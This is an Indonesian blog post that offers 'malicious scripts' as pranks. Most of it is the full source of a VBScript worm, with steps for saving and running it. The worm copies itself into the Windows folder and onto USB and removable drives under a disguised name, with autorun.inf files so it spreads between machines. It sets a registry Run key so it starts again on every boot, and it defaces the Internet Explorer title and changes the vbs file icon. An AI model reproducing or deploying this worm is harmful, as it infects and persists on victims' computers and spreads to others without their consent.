WARNING !!! Script ini termasuk script jahat !!!
Buka notepad, copy & paste code ini:
Kalo udah save dengan nama apasaja (Format harus HTML) misalkan namanya : contohscript.html
Buka file tadi di browser IE (Harus IE 6 / lebih tinggi).
Apakah reaksi kompie anda ???
Atau bisa juga begini,
(Ini lebih kompleks dan kompatibel dengan kompie)
Buka notepad, ketikan :
| Code: |
| on error resume next dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe MS32DLL.dll.vbs” set fs = createobject(“Scripting.FileSystemObject”) set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text=mf.openastextstream(1,-2) do while not text.atendofstream mysource=mysource&text.readline mysource=mysource & vbcrlf loop do Set winpath = fs.getspecialfolder(0) set tf = fs.getfile(winpath & “\MS32DLL.dll.vbs”) tf.attributes = 32 set tf=fs.createtextfile(winpath & “\MS32DLL.dll.vbs”,2,true) tf.write mysource tf.close set tf = fs.getfile(winpath & “\MS32DLL.dll.vbs”) tf.attributes = 39 for each flashdrive in fs.drives If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then set tf=fs.getfile(flashdrive.path &”\MS32DLL.dll.vbs”) tf.attributes =32 set tf=fs.createtextfile(flashdrive.path &”\MS32DLL.dll.vbs”,2,true) tf.write mysource tf.close set tf=fs.getfile(flashdrive.path &”\MS32DLL.dll.vbs”) tf.attributes =39 set tf =fs.getfile(flashdrive.path &”\autorun.inf”) tf.attributes = 32 set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true) tf.write atr tf.close set tf =fs.getfile(flashdrive.path &”\autorun.inf”) tf.attributes=39 end if next set rg = createobject(“WScript.Shell”) rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,winpath&”\MS32DLL.dll.vbs” rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”Hacked by Andre Susanto” rg.regwrite “HKCR\vbsfile\DefaultIcon”,”shell32.dll,2″ if check <> 1 then Wscript.sleep 200000 end if loop while check<>1 set sd = createobject(“Wscript.shell”) sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname |
Simpan dengan nama (Misalkan) TesScript.vbs (Harus ada .vbs nya [formatnya vbs])
Buka file buatan anda tadi ………
______
Kerusakan tidak ditanggung
0 Komentar:
Post a Comment